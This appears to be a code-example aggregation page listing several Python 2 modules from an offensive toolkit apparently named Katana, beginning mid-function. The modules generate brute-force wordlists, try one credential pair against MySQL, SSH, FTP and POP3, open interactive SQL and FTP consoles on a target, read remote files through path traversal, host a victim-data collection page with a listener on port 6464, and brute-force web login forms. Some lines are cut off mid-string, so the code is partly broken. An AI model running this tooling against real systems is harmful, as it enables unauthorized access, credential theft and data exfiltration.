                        if cadena[-(digito)] < char_n_max:
                            if unidad == 1:
                                cadena[-(digito)] += 1
                                unidad = 0
                                return cadena1
                            elif acarreo == 1:
                                cadena[-(digito)] += 1
                                acarreo = 0
                                return cadena1
                        else:
                            cadena[-(digito)] = 1
                            acarreo = 1
                    return cadena1

                for number_total in cadena_max:
                    Maxima = Maxima * number_total
                procent = int(Maxima) / 10
                counter = 0
                porcent = 0
                print " " + Alr + " Creating file...      ", getFunction.status_cmd(
                    "echo  >" + initialize.DEFAULT_VARIABLE[0][0], "\t\t\t")
                print " " + Alr + " Generating... [" + str(
                    Maxima) + "] Words to Generate " + str(
                        porcent) + "% Complete"
                fichero = open(initialize.DEFAULT_VARIABLE[0][0], 'w')
                bucle = True
                while bucle:
                    password = toClave(cadena)
                    fichero.write(password + '\n')
                    counter = counter + 1
                    if procent == counter:
                        procent = procent + procent
                        porcent = porcent + 20
                        print " " + War + " " + str(
                            porcent) + "% Porcent Complete"
                    if isMax(cadena):
                        porcent = porcent + 20
                        print " " + War + " " + str(
                            porcent) + "% Porcent Complete"
                        bucle = False
                    cadena = aumentarCadena(cadena)
                print(" " + Suf + " Completed, output file in " +
                      initialize.DEFAULT_VARIABLE[0][0])
                Message.space()
                fichero.close()
            # END CODE MODULE ############################################################################################
        else:
            getFunction.KatanaCheckActionGlobalCommands(actions)
    # ERROR GENERAL
    except:
        Errors.Errors(event=sys.exc_info(), info=sys.exc_traceback.tb_lineno)
    # END ERROR GENERAL
    main(True)
Ejemplo n.º 15
0
def main(run):
    try:
        # HEAD MODULE
        if run: actions = raw_input(Message.prompt(initialize.CodeName))
        else: actions = "run"
        if getFunction.KatanaCheckActionShowOptions(actions):
            getFunction.ShowOptions(initialize.DEFAULT_VARIABLE)
        elif getFunction.KatanaCheckActionSetValue(actions):
            initialize.DEFAULT_VARIABLE = getFunction.UpdateValue(
                actions, initialize.DEFAULT_VARIABLE)
        elif getFunction.KatanaCheckActionisBack(actions):
            return
            # END HEAD MODULE
        elif getFunction.runModule(actions):
            Message.run()
            # CODE MODULE    ############################################################################################
            try:
                Message.testing("Mysql", "3306")
                MySQLdb.connect(initialize.DEFAULT_VARIABLE[0][0],
                                initialize.DEFAULT_VARIABLE[1][0],
                                initialize.DEFAULT_VARIABLE[2][0], '')
                Message.live_protocol()
                if True:
                    print(" " + Suf + " Logged with " +
                          initialize.DEFAULT_VARIABLE[1][0] + "/" +
                          initialize.DEFAULT_VARIABLE[2][0] + " in Mysql")
            except:
                print " " + Bad + " Service Off or No Logged."

            try:
                Message.testing("SSH", SSH_PORT)
                connect = pxssh.pxssh()
                connect.login(initialize.DEFAULT_VARIABLE[0][0],
                              initialize.DEFAULT_VARIABLE[1][0],
                              initialize.DEFAULT_VARIABLE[2][0])
                d.live_protocol()
                if True:
                    print(" " + Suf + " Logged with " +
                          initialize.DEFAULT_VARIABLE[1][0] + "/" +
                          initialize.DEFAULT_VARIABLE[2][0] + " in SSH")
            except:
                print " " + Bad + " Service Off or No Logged."
            try:
                Message.testing("FTP", FTP_PORT)
                ftp.login(initialize.DEFAULT_VARIABLE[1][0],
                          initialize.DEFAULT_VARIABLE[2][0])
                if True:
                    print(" " + Suf + " Logged with " +
                          initialize.DEFAULT_VARIABLE[1][0] + "/" +
                          initialize.DEFAULT_VARIABLE[2][0] + " in FTP")
            except:
                print " " + Bad + " Service Off or No Logged."
            try:
                Message.testing("POP3", POP_PORT)
                red = poplib.POP3(initialize.DEFAULT_VARIABLE[0][0], 110)
                red.user(initialize.DEFAULT_VARIABLE[1][0] + "@" +
                         initialize.DEFAULT_VARIABLE[0][0])
                red.pass_(initialize.DEFAULT_VARIABLE[2][0])
                if True:
                    print(" " + Suf + " Logged with " +
                          initialize.DEFAULT_VARIABLE[1][0] + "/" +
                          initialize.DEFAULT_VARIABLE[2][0] + " in POP3")
            except:
                print " " + Bad + " Service Off or No Logged."
            # END CODE MODULE ############################################################################################
        else:
            getFunction.KatanaCheckActionGlobalCommands(actions)
    # ERROR GENERAL
    except:
        Errors.Errors(event=sys.exc_info(), info=sys.exc_traceback.tb_lineno)
    # END ERROR GENERAL
    main(True)
Ejemplo n.º 16
0
def main(run):
    try:
        # HEAD MODULE
        if run: actions = raw_input(Message.prompt(initialize.CodeName))
        else: actions = "run"
        if getFunction.KatanaCheckActionShowOptions(actions):
            getFunction.ShowOptions(initialize.DEFAULT_VARIABLE)
        elif getFunction.KatanaCheckActionSetValue(actions):
            initialize.DEFAULT_VARIABLE = getFunction.UpdateValue(
                actions, initialize.DEFAULT_VARIABLE)
        elif getFunction.KatanaCheckActionisBack(actions):
            return
            # END HEAD MODULE
        elif getFunction.runModule(actions):
            Message.run()
            # CODE MODULE    ############################################################################################
            try:
                getFunction.live(initialize.DEFAULT_VARIABLE[0][0],
                                 initialize.DEFAULT_VARIABLE[1][0])
                if True:
                    try:
                        con = MySQLdb.connect(
                            initialize.DEFAULT_VARIABLE[0][0],
                            initialize.DEFAULT_VARIABLE[2][0],
                            initialize.DEFAULT_VARIABLE[3][0], "")
                        if True:
                            try:
                                cmd = "nop"
                                print "\n " + Hlp + " SQL Client help"
                                print " -------------------------------------------------------------------------------------------------------"
                                print " |" + colors[6] + "Command" + colors[
                                    0] + "          | " + colors[
                                        6] + "Description" + colors[
                                            0] + "     | " + colors[
                                                6] + "Examples" + colors[
                                                    0] + "                                                        |"
                                print " -------------------------------------------------------------------------------------------------------"
                                print " |show databases   | list databases  | show databases                                                  |"
                                print " |use	           | select database | use user_table                                                  |"
                                print " |show tables	   | list tables     | show tables                                                     |"
                                print " |create database  | create databases| create database USERS                                           | "
                                print " |create table	   | create tables   | create table EMAILS (id INT PRIMARY KEY, name VARCHAR(20))      |   "
                                print " |drop database    | drop databases  | drop database USERS                                             | "
                                print " |drop table       | drop tables     | drop table EMAIL                                                | "
                                print " |insert	   | insert data     | insert into EMAILS values ( '2', '*****@*****.**' )               | "
                                print " |update           | update data     | update EMAILS set name='Willy' where id=1                       | "
                                print " |select           | select data     | select id, name from EMAILS                                     | "
                                print " -------------------------------------------------------------------------------------------------------\n"
                                current = "sql"
                                while (cmd != "exit"):
                                    cmd = raw_input(
                                        Message.Client_prompt(current))
                                    cur = con.cursor()
                                    try:
                                        tor = cur.execute(cmd)
                                        if True:
                                            for x in range(tor):
                                                print(" -%s") % cur.fetchone()
                                            print " " + Suf + " ------- > OK."
                                            if cmd[:3] == "use":
                                                current = "sql:" + cmd[4:]
                                    except:
                                        print " " + Bad + " No command '" + cmd + "' found"
                            except:
                                Errors.Errors(event=sys.exc_info(), info=False)
                    except:
                        Errors.Errors(event=sys.exc_info(),
                                      info=initialize.DEFAULT_VARIABLE[2][0] +
                                      ":" + initialize.DEFAULT_VARIABLE[3][0])
            except:
                Errors.Errors(
                    event=sys.exc_info(),
                    info=initialize.DEFAULT_VARIABLE[0][0] + ":" +
                    initialize.DEFAULT_VARIABLE[1][0]
                )  # END CODE MODULE ############################################################################################
            # END CODE MODULE ############################################################################################
        else:
            getFunction.KatanaCheckActionGlobalCommands(actions)
    # ERROR GENERAL
    except:
        Errors.Errors(event=sys.exc_info(), info=sys.exc_traceback.tb_lineno)
    # END ERROR GENERAL
    main(True)
Ejemplo n.º 17
0
def main(run):
	try:
		# HEAD MODULE
		if run:	actions=raw_input(Message.prompt(initialize.CodeName))
		else  : actions="run"
		if   getFunction.KatanaCheckActionShowOptions(actions):getFunction.ShowOptions(initialize.DEFAULT_VARIABLE)
		elif getFunction.KatanaCheckActionSetValue(actions)   :initialize.DEFAULT_VARIABLE=getFunction.UpdateValue(actions,initialize.DEFAULT_VARIABLE)
		elif getFunction.KatanaCheckActionisBack(actions)     :return
		# END HEAD MODULE
		elif getFunction.runModule(actions):
			Message.run()
			# CODE MODULE    ############################################################################################
			try:
				getFunction.live(initialize.DEFAULT_VARIABLE[0][0],initialize.DEFAULT_VARIABLE[1][0])
				if True:
					connection = httplib.HTTPConnection(initialize.DEFAULT_VARIABLE[0][0],initialize.DEFAULT_VARIABLE[1][0])
					connection.request("GET",initialize.DEFAULT_VARIABLE[2][0])
					response = connection.getresponse()
					if response.status == 200:
						print " "+Suf+" File response correctly."
						Message.space()
						print "\n "+Hlp+" LFD Console help\n"
						print "  ----------------------------------------------------"
						print "  |"+colors[12]+"Command | Description|           Examples        |"+colors[0]
						print "  ---------------------------------------------------"
						print "  |   get  | Query data | get file=index.php&dir=../ |" 
						print "  ---------------------------------------------------"
						Message.space()
						command=0
						while command!="exit":
							command=raw_input(Message.Client_prompt("LFD"))
							if command[:3] == "get":
								submit=command[4:]
								try:
									url = "http://"+initialize.DEFAULT_VARIABLE[0][0]+":"+initialize.DEFAULT_VARIABLE[1][0]+initialize.DEFAULT_VARIABLE[2][0]+"?"+submit
									file_name = url.split('/')[-1]
									u = urllib2.urlopen(url)
									f = open("tmp/"+file_name, 'wb')
									meta = u.info()
									try:		
										file_size = int(meta.getheaders("Content-Length")[0])
										if file_size != 0:
											print " "+Alr+" Request "+url
											print " "+Alr+" Downloading %s Bytes: %s" % (file_name, file_size)
											file_size_dl = 0
											block_sz = 8192
											while True:
												buffer = u.read(block_sz)
												if not buffer:
													break
												file_size_dl += len(buffer)
												f.write(buffer)
												status = r"%10d  [%3.2f%%]" % (file_size_dl, file_size_dl * 100. / file_size)
												status = status + chr(8)*(len(status)+1)
												print " "+Suf+" Completed "+status
											    	f.close()
												print " \n -------------------------------- File "+file_name+" Size: "+str(file_size)+" \n"
												os.system("cat 'tmp/"+file_name+"' -b -v ")
												os.system("rm 'tmp/"+file_name+"'")
												print " \n -------------------------------- File "+file_name+" Size: "+str(file_size)+" \n"
										else:
											print " "+War+" File empy or no exist."
									except:
										Errors.Errors(event=sys.exc_info(), info=url)
								except:
									Errors.Errors(event=sys.exc_info(), info=defaulthost+":"+defaultport)
					else:
						print " "+Bad+" File Not response correctly."
						Message.space()
			except:
				Errors.Errors(event=sys.exc_info(), info=initialize.DEFAULT_VARIABLE[0][0]+":"+initialize.DEFAULT_VARIABLE[1][0])
			# END CODE MODULE ############################################################################################
		else:
			getFunction.KatanaCheckActionGlobalCommands(actions)
	# ERROR GENERAL
	except:
		Errors.Errors(event=sys.exc_info(), info=sys.exc_traceback.tb_lineno)
	# END ERROR GENERAL
	main(True)
Ejemplo n.º 18
0
def main(run):
    try:
        # HEAD MODULE
        if run: actions = raw_input(Message.prompt(initialize.CodeName))
        else: actions = "run"
        if getFunction.KatanaCheckActionShowOptions(actions):
            getFunction.ShowOptions(initialize.DEFAULT_VARIABLE)
        elif getFunction.KatanaCheckActionSetValue(actions):
            initialize.DEFAULT_VARIABLE = getFunction.UpdateValue(
                actions, initialize.DEFAULT_VARIABLE)
        elif getFunction.KatanaCheckActionisBack(actions):
            return
            # END HEAD MODULE
        elif getFunction.runModule(actions):
            Message.run()
            # CODE MODULE    ############################################################################################
            print " " + Alr + " Setting files", getFunction.status_cmd(
                'mkdir -p ' + PATCH_WWW + 'r/ ; echo "<?php \$url=\'http://' +
                initialize.DEFAULT_VARIABLE[0][0] + '\';\$javascript=\'' +
                initialize.DEFAULT_VARIABLE[1][0] + '\';?>" > ' + PATCH_WWW +
                'r/appconfig.php & echo ', "\t\t\t\t")
            print " " + Alr + " Coping files to server", getFunction.status_cmd(
                "cp files/getdatareport/* " + PATCH_WWW + "r/", "\t\t\t")
            print " " + Alr + " Giving privileges to files", getFunction.status_cmd(
                "chmod -R 777 " + PATCH_WWW + "r", "\t\t")
            if True:
                try:
                    print " " + Alr + " Starting Apache Server", getFunction.status_cmd(
                        "service apache2 start", "\t\t\t")
                    print " " + Alr + " Starting Script Server", getFunction.status_cmd(
                        "sudo fuser -kuv 6464/tcp > null", "\t\t\t")
                    Message.space()
                    Message.go(
                        " HOTLink http://127.0.0.1/r/link.php?lKsm#s92Sa")
                    print(" " + Hlp + " to stop the module press " +
                          colors[13] + "[Ctrl+c]" + colors[0])
                    server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
                    server.bind(("", 6464))
                    server.listen(1)
                    print " " + Suf + " Waiting bees..."
                    while 1:
                        socket_cliente, datos_cliente = server.accept()
                        print " " + War + " beed: " + str(datos_cliente)
                        hilo = Cliente(socket_cliente, datos_cliente)
                        hilo.start()
                    raw_input(" " + Hlp +
                              " Press any key for Stop GetDataReport")
                except:
                    Errors.Errors(event=sys.exc_info(), info=False)
                print ""
                print(" " + Alr + " Stoping Process")
                print " " + Alr + " Removing files", getFunction.status_cmd(
                    "rm " + PATCH_WWW + "r/link.php " + PATCH_WWW +
                    "r/appconfig.php " + PATCH_WWW +
                    "r/GetdataReport.Plugin.php", "\t\t\t\t")
                print " " + Alr + " Stoping Apache", getFunction.status_cmd(
                    "service apache2 stop", "\t\t\t\t")
                server.close()
                Message.space()
            # END CODE MODULE ############################################################################################
        else:
            getFunction.KatanaCheckActionGlobalCommands(actions)
    # ERROR GENERAL
    except:
        Errors.Errors(event=sys.exc_info(), info=sys.exc_traceback.tb_lineno)
    # END ERROR GENERAL
    main(True)
Ejemplo n.º 19
0
def main(run):
	try:
		# HEAD MODULE
		if run:	actions=raw_input(Message.prompt(initialize.CodeName))
		else  : actions="run"
		if getFunction.KatanaCheckActionShowOptions(actions)  :getFunction.ShowOptions(initialize.DEFAULT_VARIABLE)
		elif getFunction.KatanaCheckActionSetValue(actions)   :initialize.DEFAULT_VARIABLE=getFunction.UpdateValue(actions,initialize.DEFAULT_VARIABLE)
		elif getFunction.KatanaCheckActionisBack(actions)     :return
		# END HEAD MODULE
		elif getFunction.runModule(actions):
			Message.run()
			# CODE MODULE    ############################################################################################
			try:
				getFunction.live(initialize.DEFAULT_VARIABLE[0][0],initialize.DEFAULT_VARIABLE[1][0])
				if True:
					try:
						ftp.login(initialize.DEFAULT_VARIABLE[0][0],initialize.DEFAULT_VARIABLE[1][0])									
						if True:
							try:
								cmd="nop"
								patch=""
								print "\n "+Hlp+" FTP Client help"
								print " ----------------------------------------"
								print " |"+colors[6]+"Commd"+colors[0]+"| "+colors[6]+"Description"+colors[0]+" | "+colors[6]+"Examples"+colors[0]+"         |"
								print " ----------------------------------------"
								print " |ls	| list files  | ls               |" 
								print " |cd	| change dir  | cd css           |"
								print " |mk	| create dir  | mk images        |"
								print " |rm	| remove file | remove config.js | "
								print " |rmd  | remove dir  | remove sex       |"
								print " |get  | get file    | get index.php    |"
								print " |put  | up file     | put login.php    |"
								print " ----------------------------------------"
								print ""
								while(cmd!="exit"):
									cmd = raw_input(Message.Client_prompt('ftp'))
									if cmd == "ls":
										ftp.retrlines("LIST")
									if cmd[0:2] == "cd":
										try:
											ftp.cwd(cmd[3:])
											if True:
												patch=cmd[3:]
												if patch == "..":
													patch=""
										except:
											print " "+Bad+" Error: directory wrong."
									if cmd[0:3] == "get":
										lfile=cmd[4:].replace("\n","")
										try:
											ftp.retrbinary('RETR '+lfile,open(lfile,'wb').write)
											if True:
												subprocess.Popen("cp "+lfile+" /root/Desktop/;rm "+lfile+"", stdout=subprocess.PIPE, stderr=subprocess.PIPE, shell=True).wait()
												print " "+Suf+" Saved, /root/Desktop/"+lfile
										except:
											print " "+Bad+" Error: file not found."
									if cmd[0:3] == "put":
										lfile=cmd[4:].replace("\n","")
										w = open(lfile, 'rb')
										try:
											ftp.storbinary("STOR r.r",w)
										except:
											print " "+Bad+" Error: file wrong."
									if cmd[0:2] == "rm":
										try:
											ftp.delete(cmd[3:])
										except:
											print " "+Bad+" Error: file not found."
									if cmd[0:3] == "rmd":
										pat=cmd[4:].replace("\n","")
										ftp.rmd(pat)
									if cmd[0:2] == "mk":
										try:
											ftp.mkd(cmd[3:])
										except:
											print " "+Bad+" Error: directory wrong."

							except Exception,e:
								print(" "+Bad+" Timeout, Error:", e)
					except:
						Errors.Errors(event=sys.exc_info(), info=initialize.DEFAULT_VARIABLE[2][0]+":"+initialize.DEFAULT_VARIABLE[3][0])
			except:
				Errors.Errors(event=sys.exc_info(), info=initialize.DEFAULT_VARIABLE[0][0]+":"+initialize.DEFAULT_VARIABLE[1][0])			# END CODE MODULE ############################################################################################
			# END CODE MODULE ############################################################################################
		else:
			getFunction.KatanaCheckActionGlobalCommands(actions)
	# ERROR GENERAL
	except:
		Errors.Errors(event=sys.exc_info(), info=sys.exc_traceback.tb_lineno)
	# END ERROR GENERAL
	main(True)
Ejemplo n.º 20
0
def main(run):
    try:
        # HEAD MODULE
        if run: actions = raw_input(Message.prompt(initialize.CodeName))
        else: actions = "run"
        if getFunction.KatanaCheckActionShowOptions(actions):
            getFunction.ShowOptions(initialize.DEFAULT_VARIABLE)
        elif getFunction.KatanaCheckActionSetValue(actions):
            initialize.DEFAULT_VARIABLE = getFunction.UpdateValue(
                actions, initialize.DEFAULT_VARIABLE)
        elif getFunction.KatanaCheckActionisBack(actions):
            return
            # END HEAD MODULE
        elif getFunction.runModule(actions):
            Message.run()
            # CODE MODULE    ############################################################################################
            try:
                getFunction.live(initialize.DEFAULT_VARIABLE[0][0],
                                 initialize.DEFAULT_VARIABLE[1][0])
                if True:
                    try:
                        Message.loading_file()
                        Testrequestcode = True
                        with open(initialize.DEFAULT_VARIABLE[4][0],
                                  'r') as passwords:
                            for password in passwords:
                                password = password.replace("\n", "")
                                params = urllib.urlencode({
                                    initialize.DEFAULT_VARIABLE[5][0]:
                                    initialize.DEFAULT_VARIABLE[3][0],
                                    initialize.DEFAULT_VARIABLE[6][0]:
                                    password
                                })
                                header = {
                                    "Content-type":
                                    "application/x-www-form-urlencoded",
                                    "Accept": "text/plain"
                                }
                                conn = httplib.HTTPConnection(
                                    initialize.DEFAULT_VARIABLE[0][0],
                                    initialize.DEFAULT_VARIABLE[1][0])
                                conn.request(initialize.DEFAULT_VARIABLE[7][0],
                                             initialize.DEFAULT_VARIABLE[2][0],
                                             params, header)
                                response = conn.getresponse()
                                ver_source = response.read()
                                Status = getFunction.checkStatus(
                                    response.status)
                                if (Testrequestcode == True):
                                    print " " + Alr + " Connection testing:" + initialize.DEFAULT_VARIABLE[
                                        0][0] + " " + Status[
                                            1] + " Des:" + Status[0]
                                if (Status[1] == "Err:Client"
                                        or Status[1] == "Err:Server"):
                                    break
                                Testrequestcode = False
                                if ver_source.find(
                                        initialize.DEFAULT_VARIABLE[8]
                                    [0]) <= 0 and response.status == 200:
                                    getFunction.savefour(
                                        "BruteForceFormBase",
                                        initialize.DEFAULT_VARIABLE[0][0],
                                        initialize.DEFAULT_VARIABLE[1][0],
                                        initialize.DEFAULT_VARIABLE[2][0],
                                        initialize.DEFAULT_VARIABLE[7][0],
                                        initialize.DEFAULT_VARIABLE[5][0],
                                        initialize.DEFAULT_VARIABLE[6][0],
                                        initialize.DEFAULT_VARIABLE[3][0],
                                        password)
                                    print "\n-" + Suf + " Successfully with [" + initialize.DEFAULT_VARIABLE[
                                        5][0] + "=" + initialize.DEFAULT_VARIABLE[
                                            3][0] + "][" + initialize.DEFAULT_VARIABLE[
                                                6][0] + "=" + password + "]\n"
                                    main(True)
                                else:
                                    print " " + Alr + " testing with the password: "******":" +
                              initialize.DEFAULT_VARIABLE[1][0])
            # END CODE MODULE ############################################################################################
        else:
            getFunction.KatanaCheckActionGlobalCommands(actions)
    # ERROR GENERAL
    except:
        Errors.Errors(event=sys.exc_info(), info=sys.exc_traceback.tb_lineno)
    # END ERROR GENERAL
    main(True)